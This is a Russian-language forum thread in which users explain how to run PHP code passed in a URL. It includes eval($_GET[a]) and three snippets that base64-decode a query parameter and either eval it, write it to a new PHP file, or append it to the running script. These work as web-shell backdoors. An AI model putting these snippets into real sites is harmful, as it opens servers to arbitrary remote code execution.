Follow along with the video below to see how to install our site as a web app on your home screen.
Примечание: This feature may not be available in some browsers.
что значит пустой ? у него размер = 0 или он ничего не выводит ?Есть пустой php файл.
Можо как-то волнить php код из адресной строки.
Может как-то исользуя eval() ?
Например \index.php?a=eval(...)
eval($_GET[a]);
eval нельзя отключить, это не функция а конструкция языка.еще стоит добавить, что на большинстве shared-хостах eval() и подобные отключены из соображений безопасности.
правильно, правда если php c Suhosin Patch то там такая фича имеетсяeval нельзя отключить, это не функция а конструкция языка.
<?php
/*
$code = "<?php echo 'Hi'; ?>" ;
echo base64_encode($code); // PD9waHAgZWNobyAnSGknOyA/Pg==
*/
$param = 'code';
$get = str_replace($_SERVER['SCRIPT_NAME'].'?'.$param.'=','',$_SERVER['REQUEST_URI']); //строка с кодом в base64;
$handle = fopen('new.php','w');
fwrite($handle,base64_decode($get));
fclose($handle);
header("Location: new.php");
<?php
$param = 'code';
if(@$_GET['code']){ //Ecли что то есть в параметрах то... поехали!
$get = base64_decode(str_replace($_SERVER['SCRIPT_NAME'].'?'.$param.'=','',$_SERVER['REQUEST_URI'])); //строка с кодом
$file = str_replace('/','',$_SERVER['SCRIPT_NAME']);
//Считываем что есть в журнале
$TMP0 = fopen('log','a+');
$cahe = stream_get_contents($TMP0);
fclose($TMP0);
//Перезаписываем в журнал новые параметры
$TMP = fopen('log','w+');
fwrite($TMP,$get);
fclose($TMP);
//Читаем содержимое этого файла
$index = fopen($file,'a+');
$oldIndex = stream_get_contents($index);
fclose($index);
//Перезаписываем текущий файл новым содержимым
$newIndex = str_replace($cahe,'',$oldIndex);
$newFile = $newIndex.$get;
$index2 = fopen($file,'w+');
fwrite($index2,$newFile);
fclose($index2);
header("Location: index.php");
}
?>
<?php
$param = 'code';
if(@$_GET['code']){ //Ecли что то есть в параметрах то... поехали!
$get = base64_decode(str_replace($_SERVER['SCRIPT_NAME'].'?'.$param.'=','',$_SERVER['REQUEST_URI'])); //строка с кодом
eval ($get);
}
?>